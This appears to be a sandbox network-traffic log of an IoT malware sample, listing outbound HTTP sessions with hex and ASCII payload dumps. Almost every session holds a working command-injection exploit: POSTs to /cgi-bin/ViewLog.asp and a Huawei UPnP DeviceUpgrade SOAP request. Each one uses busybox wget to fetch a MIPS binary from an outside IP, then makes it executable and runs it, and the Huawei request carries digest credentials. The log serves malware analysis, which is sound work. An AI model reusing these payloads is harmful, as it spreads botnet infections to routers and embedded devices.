Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, s

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.13	45748	94.107.42.232	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:14:52.343636990 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:14:52.934716940 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.13	39132	95.175.118.117	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:14:52.344311953 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:14:53.382728100 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:14:54.566741943 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:14:54.761827946 CET	419	IN	HTTP/1.1 415 Unsupported Media Type content-type: application/json; charset=utf-8 content-length: 161 Date: Thu, 23 Nov 2023 04:14:54 GMT Connection: keep-alive Keep-Alive: timeout=72 Data Raw: 7b 22 73 74 61 74 75 73 43 6f 64 65 22 3a 34 31 35 2c 22 63 6f 64 65 22 3a 22 46 53 54 5f 45 52 52 5f 43 54 50 5f 49 4e 56 41 4c 49 44 5f 4d 45 44 49 41 5f 54 59 50 45 22 2c 22 65 72 72 6f 72 22 3a 22 55 6e 73 75 70 70 6f 72 74 65 64 20 4d 65 64 69 61 20 54 79 70 65 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 55 6e 73 75 70 70 6f 72 74 65 64 20 4d 65 64 69 61 20 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 22 7d Data Ascii: {"statusCode":415,"code":"FST_ERR_CTP_INVALID_MEDIA_TYPE","error":"Unsupported Media Type","message":"Unsupported Media Type: application/x-www-form-urlencoded"}
Nov 23, 2023 05:14:54.762171030 CET	211	IN	HTTP/1.1 400 Bad Request Content-Length: 65 Content-Type: application/json Data Raw: 7b 22 65 72 72 6f 72 22 3a 22 42 61 64 20 52 65 71 75 65 73 74 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 43 6c 69 65 6e 74 20 45 72 72 6f 72 22 2c 22 73 74 61 74 75 73 43 6f 64 65 22 3a 34 30 30 7d Data Ascii: {"error":"Bad Request","message":"Client Error","statusCode":400}

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.13	41382	31.200.121.20	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:14:52.370002985 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.13	45358	94.122.23.166	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:14:52.371428967 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.13	40002	94.120.6.75	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:14:58.802897930 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.13	57136	62.45.212.47	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:14:58.992378950 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:14:59.189958096 CET	471	IN	HTTP/1.1 404 Not Found Date: Thu, 23 Nov 2023 05:13:13 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 207 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 68 6f 6d 65 2f 61 70 70 2f 77 65 62 73 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open document: /home/app/webs/cgi-bin/ViewLog.asp</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.13	41276	94.122.95.237	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:14:59.216559887 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.13	49804	94.120.28.18	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:14:59.223584890 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.13	44402	85.192.154.157	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:14:59.240778923 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:14:59.510834932 CET	90	IN	HTTP/1.1 404 Not Found

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.13	33148	156.254.85.185	37215

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:15:00.961545944 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:15:04.998756886 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:15:11.142765999 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:15:23.174635887 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
